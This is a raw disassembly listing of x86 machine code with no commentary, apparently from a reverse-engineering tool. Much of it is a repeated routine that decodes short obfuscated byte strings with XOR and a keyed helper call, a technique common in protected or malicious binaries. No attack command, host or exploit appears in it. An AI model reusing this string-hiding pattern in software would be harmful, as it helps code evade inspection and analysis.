call fcn.004a0aa0
mov eax, dword [ebp - 0x1d0]
lea ecx, [ebp - 0x130]
push 0
push dword [eax]
call fcn.0048bbc0
mov eax, dword [ebp - 0x130]
mov byte [ebp - 0x11d], bl
cmp byte [eax + 0xd], bl
jne 0x45b9dc
test bl, bl
jne 0x45b9d9
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00487d20
test eax, eax
je 0x45b9be
push esi
lea ecx, [ebp - 0x214]
call fcn.0048bd00
lea ecx, [ebp - 0x214]
call fcn.0048bcc0
push esi
lea ecx, [ebp - 0x444]
call fcn.0048bd00
lea ecx, [ebp - 0x444]
call fcn.0048bc90
lea eax, [ebp - 0x444]
push eax
lea ecx, [ebp - 0x214]
call fcn.0048bbd0
test al, al
jne 0x45b9be
mov edi, 0xf
nop dword [eax]
lea ecx, [ebp - 0x214]
call fcn.00487990
mov esi, eax
test bl, bl
jne 0x45b9be
lea eax, [ebp - 0x2e0]
mov ecx, eax
mov dword [ebp - 0x3d0], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x2e0]
push 0
push 0x54b54c
call fcn.0040bb00
mov byte [ebp - 4], 0x39
xor edx, edx
mov byte [ebp - 0xb2], 0x14
mov byte [ebp - 0xb1], 0x12
mov byte [ebp - 0xb0], 0x1e
mov byte [ebp - 0xaf], 0x13
mov byte [ebp - 0xae], 0x15
mov byte [ebp - 0xad], 0x1b
mov byte [ebp - 0xac], 0x74
mov al, byte [ebp - 0xb2]
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0xb2]
mov ecx, edx
and ecx, 0xf
mov eax, 0xabb1e879
cmp ecx, 0xf
mov edx, 0xf353896d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x79]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xb2], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 7
jb 0x45b7e0
lea eax, [ebp - 0xb2]
mov ecx, esi
push eax
call fcn.0048eef0
cmp byte [eax], 0
je 0x45b8cd
mov byte [ebp - 0xab], 0x14
xor edx, edx
mov byte [ebp - 0xaa], 0x12
mov byte [ebp - 0xa9], 0x1e
mov byte [ebp - 0xa8], 0x13
mov byte [ebp - 0xa7], 0x15
mov byte [ebp - 0xa6], 0x1b
mov byte [ebp - 0xa5], 0x74
mov al, byte [ebp - 0xab]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0xab]
mov ecx, edx
and ecx, 0xf
mov eax, 0xabb1e879
cmp ecx, 0xf
mov edx, 0xf353896d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x79]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xab], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 7
jb 0x45b873
lea eax, [ebp - 0xab]
mov ecx, esi
push eax
call fcn.0048eef0
push eax
lea ecx, [ebp - 0x2e0]
call fcn.004962f0
xor bh, bh
mov byte [ebp - 0x32], 0x6e
xor edx, edx
mov byte [ebp - 0x31], 0x4c
mov al, byte [ebp - 0x32]
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0x32]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa3b47547
cmp ecx, 0xf
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x32], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0x45b8e0
sub esp, 0x18
lea eax, [ebp - 0x2e0]
mov ecx, esp
mov dword [ebp - 0x3cc], esp
lea edx, [ebp - 0x32]
push eax
call fcn.0048ec50
mov byte [ebp - 4], 0x3a
sub esp, 8
lea eax, [ebp - 0x178]
mov dword [ebp - 0x3c8], esp
mov ecx, esp
push eax
call fcn.00489510
mov byte [ebp - 4], 0x3b
mov byte [ebp - 4], 0x39
mov cl, bh
call fcn.00422800
mov ecx, dword [ebp - 0x20]
add esp, 0x24
test al, al
movzx ecx, cl
mov eax, 1
cmovne ecx, eax
mov bl, cl
mov dword [ebp - 0x20], ebx
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x2e0]
call fcn.0040b870
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x3c4], eax
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x214]
call fcn.00487940
lea eax, [ebp - 0x444]
push eax
lea ecx, [ebp - 0x214]
call fcn.0048bbd0
test al, al
je 0x45b760
lea ecx, [ebp - 0x130]
call fcn.0048bb60
mov eax, dword [ebp - 0x130]
cmp byte [eax + 0xd], 0
je 0x45b6f5
mov esi, dword [ebp - 0x14]
and esi, 0xffbfffff
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x1d0]
call fcn.0045d5d0
lea ecx, [ebp - 0x204]
call fcn.00487940
lea eax, [ebp - 0x454]
push eax
lea ecx, [ebp - 0x204]
call fcn.0048bbd0
test al, al
je 0x45b691
lea ecx, [ebp - 0x134]
call fcn.0048bb60
mov eax, dword [ebp - 0x134]
cmp byte [eax + 0xd], 0
je 0x45b626
and esi, 0xfeffffff
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x1c8]
call fcn.0045d5d0
jmp 0x45ba51
mov esi, dword [ebp - 0x14]
cmp byte [ebp - 0x19], 0
je 0x45bfbe
mov ebx, dword [ebp - 0x20]
test bl, bl
jne 0x45bfbe
lea ecx, [ebp + 0x50]
call fcn.00487d20
test eax, eax
je 0x45bd0e
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x1c0]
call fcn.00492820
or esi, 0x800000
lea edx, [ebp - 0x1c0]
lea ecx, [ebp + 0x50]
mov dword [ebp - 0x14], esi
call fcn.004a0aa0
mov eax, dword [ebp - 0x1c0]
lea ecx, [ebp - 0x138]
push 0
push dword [eax]
call fcn.0048bbc0
mov eax, dword [ebp - 0x138]
mov byte [ebp - 0x11e], bl
cmp byte [eax + 0xd], bl
jne 0x45bcf6
test bl, bl
jne 0x45bcf3
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0x1f4]
call fcn.0048bd00
lea ecx, [ebp - 0x1f4]
call fcn.0048bcc0
push esi
lea ecx, [ebp - 0x464]
call fcn.0048bd00
lea ecx, [ebp - 0x464]
call fcn.0048bc90
lea eax, [ebp - 0x464]
push eax
lea ecx, [ebp - 0x1f4]
call fcn.0048bbd0
test al, al
jne 0x45bcd8
mov edi, 0xf
nop
lea ecx, [ebp - 0x1f4]
call fcn.00487990
mov esi, eax
test bl, bl
jne 0x45bcd8
lea eax, [ebp - 0x310]
mov ecx, eax
mov dword [ebp - 0x3c0], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x310]
push 0
push 0x54b54c
call fcn.0040bb00
mov byte [ebp - 4], 0x42
xor edx, edx
mov byte [ebp - 0x63], 5
mov byte [ebp - 0x62], 0xf5
mov byte [ebp - 0x61], 0xe8
mov byte [ebp - 0x60], 0x83
mov al, byte [ebp - 0x63]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x63]
mov ecx, edx
and ecx, 0xf
mov eax, 0x44fe157f
cmp ecx, 0xf
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x63], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 4
jb 0x45bb80
lea eax, [ebp - 0x63]
mov ecx, esi
push eax
call fcn.0048eef0
cmp byte [eax], 0
je 0x45bc37
mov byte [ebp - 0x67], 5
xor edx, edx
mov byte [ebp - 0x66], 0xf5
mov byte [ebp - 0x65], 0xe8
mov byte [ebp - 0x64], 0x83
mov al, byte [ebp - 0x67]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x67]
mov ecx, edx
and ecx, 0xf
mov eax, 0x44fe157f
cmp ecx, 0xf
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x67], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 4
jb 0x45bbe6
lea eax, [ebp - 0x67]
mov ecx, esi
push eax
call fcn.0048eef0
push eax
lea ecx, [ebp - 0x310]
call fcn.004962f0
sub esp, 0x18
lea eax, [ebp - 0x310]
mov ecx, esp
mov dword [ebp - 0x3bc], esp
mov bl, 1
push eax
call fcn.0048a660
mov byte [ebp - 4], 0x43
sub esp, 0xc
lea eax, [ebp - 0x178]
mov dword [ebp - 0x3b8], esp
mov ecx, esp
push eax
call fcn.00489510
mov byte [ebp - 4], 0x44
mov byte [ebp - 4], 0x42
mov cl, bl
call fcn.00422800
mov ecx, dword [ebp - 0x20]
add esp, 0x24
test al, al
movzx ebx, cl
mov eax, 1
cmovne ebx, eax
mov dword [ebp - 0x20], ebx
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x310]
call fcn.0040b870
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x310]
mov dword [ebp - 0x3b4], eax
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x1f4]
call fcn.00487940
lea eax, [ebp - 0x464]
push eax
lea ecx, [ebp - 0x1f4]
call fcn.0048bbd0
test al, al
je 0x45bb20
lea ecx, [ebp - 0x138]
call fcn.0048bb60
mov eax, dword [ebp - 0x138]
cmp byte [eax + 0xd], 0
je 0x45bac6
mov esi, dword [ebp - 0x14]
and esi, 0xff7fffff
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x1c0]
call fcn.0045d5d0
test bl, bl
jne 0x45bfbe
lea ecx, [ebp + 0x60]
call fcn.00487d20
test eax, eax
je 0x45bfbe
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x1b8]
call fcn.00492820
or esi, 0x8000
lea edx, [ebp - 0x1b8]
lea ecx, [ebp + 0x60]
mov dword [ebp - 0x14], esi
call fcn.004a0aa0
mov eax, dword [ebp - 0x1b8]
lea ecx, [ebp - 0x13c]
push 0
push dword [eax]
call fcn.0048bbc0
mov eax, dword [ebp - 0x13c]
mov byte [ebp - 0x11f], bl
cmp byte [eax + 0xd], bl
jne 0x45bfa6
test bl, bl
jne 0x45bfa3
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0x27c]
call fcn.0048bd00
lea ecx, [ebp - 0x27c]
call fcn.0048bcc0
push esi
lea ecx, [ebp - 0x474]
call fcn.0048bd00
lea ecx, [ebp - 0x474]
call fcn.0048bc90
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x27c]
call fcn.0048bbd0
test al, al
jne 0x45bf88
mov edi, 0xf
nop
lea ecx, [ebp - 0x27c]
call fcn.00487990
mov esi, eax
test bl, bl
jne 0x45bf88
lea eax, [ebp - 0x2b0]
mov ecx, eax
mov dword [ebp - 0x3b0], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x2b0]
push 0
push 0x54b54c
call fcn.0040bb00
mov byte [ebp - 4], 0x4b
xor edx, edx
mov byte [ebp - 0x6b], 5
mov byte [ebp - 0x6a], 0xf5
mov byte [ebp - 0x69], 0xe8
mov byte [ebp - 0x68], 0x83
mov al, byte [ebp - 0x6b]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x6b]
mov ecx, edx
and ecx, 0xf
mov eax, 0x44fe157f
cmp ecx, 0xf
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x6b], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 4
jb 0x45be30
lea eax, [ebp - 0x6b]
mov ecx, esi
push eax
call fcn.0048eef0
cmp byte [eax], 0
je 0x45bee7
mov byte [ebp - 0x6f], 5
xor edx, edx
mov byte [ebp - 0x6e], 0xf5
mov byte [ebp - 0x6d], 0xe8
mov byte [ebp - 0x6c], 0x83
mov al, byte [ebp - 0x6f]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x6f]
mov ecx, edx
and ecx, 0xf
mov eax, 0x44fe157f
cmp ecx, 0xf
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x6f], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 4
jb 0x45be96
lea eax, [ebp - 0x6f]
mov ecx, esi
push eax
call fcn.0048eef0
push eax
lea ecx, [ebp - 0x2b0]
call fcn.004962f0
sub esp, 0x18
lea eax, [ebp - 0x2b0]
mov ecx, esp
mov dword [ebp - 0x3ac], esp
mov bl, 1
push eax
call fcn.0048a660
mov byte [ebp - 4], 0x4c
sub esp, 0xc
lea eax, [ebp - 0x178]
mov dword [ebp - 0x3a8], esp
mov ecx, esp
push eax
call fcn.00489510
mov byte [ebp - 4], 0x4d
mov byte [ebp - 4], 0x4b
mov cl, bl
call fcn.00422800
mov ecx, dword [ebp - 0x20]
add esp, 0x24
test al, al
movzx ebx, cl
mov eax, 1
cmovne ebx, eax
mov dword [ebp - 0x20], ebx
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x2b0]
call fcn.0040b870
mov byte [ebp - 4], 0x48
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x3a4], eax
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x27c]
call fcn.00487940
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x27c]
call fcn.0048bbd0
test al, al
je 0x45bdd0
lea ecx, [ebp - 0x13c]
call fcn.0048bb60
mov eax, dword [ebp - 0x13c]
cmp byte [eax + 0xd], 0
je 0x45bd76
mov esi, dword [ebp - 0x14]
and esi, 0xffff7fff
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x1b8]
call fcn.0045d5d0
cmp byte [ebp - 0x1a], 0
je 0x45c3b1
mov ebx, dword [ebp - 0x20]
test bl, bl
jne 0x45c3b1
lea ecx, [ebp + 0x70]
call fcn.00487d20
test eax, eax
je 0x45c3b1
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x1a8]
call fcn.00492820
or esi, 0x4000
lea edx, [ebp - 0x1a8]
lea ecx, [ebp + 0x70]
mov dword [ebp - 0x14], esi
call fcn.004a0aa0
mov eax, dword [ebp - 0x1a8]
lea ecx, [ebp - 0x144]
push 0
push dword [eax]
call fcn.0048bbc0
mov eax, dword [ebp - 0x144]
mov byte [ebp - 0x120], bl
cmp byte [eax + 0xd], bl
jne 0x45c399
test bl, bl
jne 0x45c399
cmp byte [eax + 0x28], bl
lea edi, [eax + 0x28]
je 0x45c37e
mov ecx, edi
call fcn.00487d20
test eax, eax
je 0x45c37e
push edi
lea ecx, [ebp - 0x25c]
call fcn.0048bd00
lea ecx, [ebp - 0x25c]
call fcn.0048bcc0
push edi
lea ecx, [ebp - 0x494]
call fcn.0048bd00
lea ecx, [ebp - 0x494]
call fcn.0048bc90
lea eax, [ebp - 0x494]
push eax
lea ecx, [ebp - 0x25c]
call fcn.0048bbd0
test al, al
jne 0x45c37e
nop
lea ecx, [ebp - 0x25c]
call fcn.00487990
mov edi, eax
test bl, bl
jne 0x45c37e
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x1b0]
call fcn.00492820
or esi, 0x1000
lea edx, [ebp - 0x1b0]
mov ecx, edi
mov dword [ebp - 0x14], esi
call fcn.004a0aa0
mov eax, dword [ebp - 0x1b0]
lea ecx, [ebp - 0x140]
push 0
push dword [eax]
call fcn.0048bbc0
mov eax, dword [ebp - 0x140]
mov byte [ebp - 0x121], bl
cmp byte [eax + 0xd], bl
jne 0x45c341
test bl, bl
jne 0x45c33e
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00487d20
test eax, eax
je 0x45c323
push esi
lea ecx, [ebp - 0x26c]
call fcn.0048bd00
lea ecx, [ebp - 0x26c]
call fcn.0048bcc0
push esi
lea ecx, [ebp - 0x484]
call fcn.0048bd00
lea ecx, [ebp - 0x484]
call fcn.0048bc90
lea eax, [ebp - 0x484]
push eax
lea ecx, [ebp - 0x26c]
call fcn.0048bbd0
test al, al
jne 0x45c323
mov edi, 0xf
nop dword [eax + eax]
lea ecx, [ebp - 0x26c]
call fcn.00487990
mov esi, eax
test bl, bl
jne 0x45c323
lea eax, [ebp - 0x2c8]
mov ecx, eax
mov dword [ebp - 0x3a0], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x2c8]
push 0
push 0x54b54c
call fcn.0040bb00
mov byte [ebp - 4], 0x55
xor edx, edx
mov byte [ebp - 0x73], 5
mov byte [ebp - 0x72], 0xf5
mov byte [ebp - 0x71], 0xe8
mov byte [ebp - 0x70], 0x83
mov al, byte [ebp - 0x73]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x73]
mov ecx, edx
and ecx, 0xf
mov eax, 0x44fe157f
cmp ecx, 0xf
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x73], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 4
jb 0x45c1d0
lea eax, [ebp - 0x73]
mov ecx, esi
push eax
call fcn.0048eef0
cmp byte [eax], 0
je 0x45c282
mov byte [ebp - 0x77], 5
xor ebx, ebx
mov byte [ebp - 0x76], 0xf5
mov byte [ebp - 0x75], 0xe8
mov byte [ebp - 0x74], 0x83
mov al, byte [ebp - 0x77]
mov al, byte [ebp + ebx - 0x77]
mov ecx, ebx
and ecx, 0xf
mov byte [ebp - 0x1a], al
cmp ecx, 0xf
mov eax, 0x44fe157f
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
and al, 0xf
lea ecx, [ebx + 0x7f]
xor al, cl
xor al, byte [ebp - 0x1a]
mov byte [ebp + ebx - 0x77], al
inc ebx
cmp ebx, 4
jb 0x45c233
lea eax, [ebp - 0x77]
mov ecx, esi
push eax
call fcn.0048eef0
push eax
lea ecx, [ebp - 0x2c8]
call fcn.004962f0
sub esp, 0x18
lea eax, [ebp - 0x2c8]
mov ecx, esp
mov dword [ebp - 0x39c], esp
mov bl, 1
push eax
call fcn.0048a660
mov byte [ebp - 4], 0x56
sub esp, 0xc
lea eax, [ebp - 0x178]
mov dword [ebp - 0x398], esp
mov ecx, esp
push eax
call fcn.00489510
mov byte [ebp - 4], 0x57
mov byte [ebp - 4], 0x55
mov cl, bl
call fcn.00422800
mov ecx, dword [ebp - 0x20]
add esp, 0x24
test al, al
movzx ebx, cl
mov eax, 1
cmovne ebx, eax
mov dword [ebp - 0x20], ebx
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x2c8]
call fcn.0040b870
mov byte [ebp - 4], 0x52
lea eax, [ebp - 0x2c8]
mov dword [ebp - 0x394], eax
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x26c]
call fcn.00487940
lea eax, [ebp - 0x484]
push eax
lea ecx, [ebp - 0x26c]
call fcn.0048bbd0
test al, al
je 0x45c170
lea ecx, [ebp - 0x140]
call fcn.0048bb60
mov eax, dword [ebp - 0x140]
cmp byte [eax + 0xd], 0
je 0x45c104
mov esi, dword [ebp - 0x14]
and esi, 0xffffefff
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x1b0]
call fcn.0045d5d0
lea ecx, [ebp - 0x25c]
call fcn.00487940
lea eax, [ebp - 0x494]
push eax
lea ecx, [ebp - 0x25c]
call fcn.0048bbd0
test al, al
je 0x45c0a0
lea ecx, [ebp - 0x144]
call fcn.0048bb60
mov eax, dword [ebp - 0x144]
cmp byte [eax + 0xd], 0
je 0x45c033
and esi, 0xffffbfff
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x1a8]
call fcn.0045d5d0
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x178]
call fcn.0048c6c0
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x58c]
call fcn.0040b870
mov byte [ebp - 4], 0x24
lea eax, [ebp - 0x58c]
mov dword [ebp - 0x390], eax
mov byte [ebp - 4], 0x24
mov ebx, dword [ebp - 0x18]
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x180]
push dword [ebp - 0x188]
call fcn.0048bd40
mov edi, dword [ebp - 0x190]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x194]
mov ecx, edi
sub ecx, esi
inc ebx
imul ecx
mov dword [ebp - 0x18], ebx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp ebx, eax
jb 0x45ac40
sub edi, esi
mov eax, 0x2aaaaaab
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x45c447
cmp byte [ebp - 0x20], 0
je 0x45d44e
mov byte [ebp - 0x80], 0xde
xor edx, edx
mov byte [ebp - 0x7f], 0x94
mov edi, 0xf
mov byte [ebp - 0x7e], 0x85
mov byte [ebp - 0x7d], 0x6c
mov byte [ebp - 0x7c], 9
mov al, byte [ebp - 0x80]
mov dword [ebp - 0x18], edx
mov bl, byte [ebp + edx - 0x80]
mov ecx, edx
and ecx, edi
mov eax, 0x869892fd
cmp ecx, edi
mov edx, 0xc2b6c60e
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x80], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 5
jb 0x45c468
lea eax, [ebp - 0x160]
mov ecx, eax
mov dword [ebp - 0x38c], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x80]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45c4c0
sub ecx, edx
lea eax, [ebp - 0x80]
push ecx
push eax
lea ecx, [ebp - 0x160]
call fcn.0040bb00
mov byte [ebp - 4], 0x60
xor edx, edx
mov byte [ebp - 0x24], 0x6e
mov byte [ebp - 0x23], 0x4c
mov al, byte [ebp - 0x24]
mov dword [ebp - 0x18], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x24]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa3b47547
cmp ecx, 0xf
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x24], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 2
jb 0x45c4f0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x388], esp
mov dword [ebp - 0x380], esi
mov ecx, esi
mov dword [ebp - 0x358], esi
call fcn.0040bbc0
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x24]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45c552
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
mov ecx, esi
call fcn.0040bb00
mov byte [ebp - 4], 0x63
sub esp, 0x18
lea eax, [ebp - 0x55c]
mov dword [ebp - 0x384], esp
mov ecx, esp
push eax
call fcn.0048a660
mov byte [ebp - 4], 0x64
mov byte [ebp - 4], 0x60
lea ecx, [ebp - 0x298]
call fcn.00415760
add esp, 0x30
mov byte [ebp - 4], 0x65
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x294]
mov esi, dword [ebp - 0x298]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x45d079
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
push eax
lea ecx, [ebp - 0x160]
call fcn.0048a510
mov byte [ebp - 0x3c], 0x15
xor edx, edx
mov byte [ebp - 0x3b], 0xff
mov byte [ebp - 0x3a], 0xe1
mov byte [ebp - 0x39], 0x83
mov al, byte [ebp - 0x3c]
mov dword [ebp - 0x18], edx
nop
mov bl, byte [ebp + edx - 0x3c]
mov ecx, edx
and ecx, 0xf
mov eax, 0x44fe157f
cmp ecx, 0xf
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x3c], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 4
jb 0x45c5f0
lea eax, [ebp - 0x544]
mov ecx, eax
mov dword [ebp - 0x4bc], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x67
lea ecx, [ebp - 0x3c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45c647
sub ecx, edx
lea eax, [ebp - 0x3c]
push ecx
push eax
lea ecx, [ebp - 0x544]
call fcn.0040bb00
mov byte [ebp - 4], 0x68
lea edx, [ebp - 0x544]
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x160]
or ebx, 1
mov dword [ebp - 0x14], ebx
call fcn.0048f540
test al, al
je 0x45cd21
mov byte [ebp - 0x40], 0x1d
xor edx, edx
mov byte [ebp - 0x3f], 0xf4
mov byte [ebp - 0x3e], 0xed
mov byte [ebp - 0x3d], 0x83
mov al, byte [ebp - 0x40]
mov dword [ebp - 0x18], edx
nop
mov bl, byte [ebp + edx - 0x40]
mov ecx, edx
and ecx, 0xf
mov eax, 0x44fe157f
cmp ecx, 0xf
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x40], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 4
jb 0x45c6a0
lea eax, [ebp - 0x52c]
mov ecx, eax
mov dword [ebp - 0x4c4], eax
call fcn.0040bbc0
mov dword [ebp - 4], 0x6a
lea ecx, [ebp - 0x40]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45c700
sub ecx, edx
lea eax, [ebp - 0x40]
push ecx
push eax
lea ecx, [ebp - 0x52c]
call fcn.0040bb00
mov dword [ebp - 4], 0x6b
lea edx, [ebp - 0x52c]
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x160]
or ebx, 2
mov dword [ebp - 0x14], ebx
call fcn.0048f540
test al, al
je 0x45cd21
mov byte [ebp - 0x44], 3
xor edx, edx
mov byte [ebp - 0x43], 0xe4
mov byte [ebp - 0x42], 0xf6
mov byte [ebp - 0x41], 0x83
mov al, byte [ebp - 0x44]
mov dword [ebp - 0x18], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x44]
mov ecx, edx
and ecx, 0xf
mov eax, 0x44fe157f
cmp ecx, 0xf
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x44], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 4
jb 0x45c760
lea eax, [ebp - 0x514]
mov ecx, eax
mov dword [ebp - 0x4c8], eax
call fcn.0040bbc0
mov dword [ebp - 4], 0x6d
lea ecx, [ebp - 0x44]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45c7c0
sub ecx, edx
lea eax, [ebp - 0x44]
push ecx
push eax
lea ecx, [ebp - 0x514]
call fcn.0040bb00
mov dword [ebp - 4], 0x6e
lea edx, [ebp - 0x514]
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x160]
or ebx, 4
mov dword [ebp - 0x14], ebx
call fcn.0048f540
test al, al
je 0x45cd21
mov byte [ebp - 0x4b], 4
xor edx, edx
mov byte [ebp - 0x4a], 0xff
mov byte [ebp - 0x49], 0xf0
mov byte [ebp - 0x48], 0x83
mov al, byte [ebp - 0x4b]
mov dword [ebp - 0x18], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x4b]
mov ecx, edx
and ecx, 0xf
mov eax, 0x44fe157f
cmp ecx, 0xf
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x4b], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 4
jb 0x45c820
lea eax, [ebp - 0x4b]
push eax
lea ecx, [ebp - 0x6c4]
call fcn.0040b750
mov dword [ebp - 4], 0x6f
mov edx, eax
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x160]
or ebx, 8
mov dword [ebp - 0x14], ebx
call fcn.0048f540
test al, al
je 0x45cd21
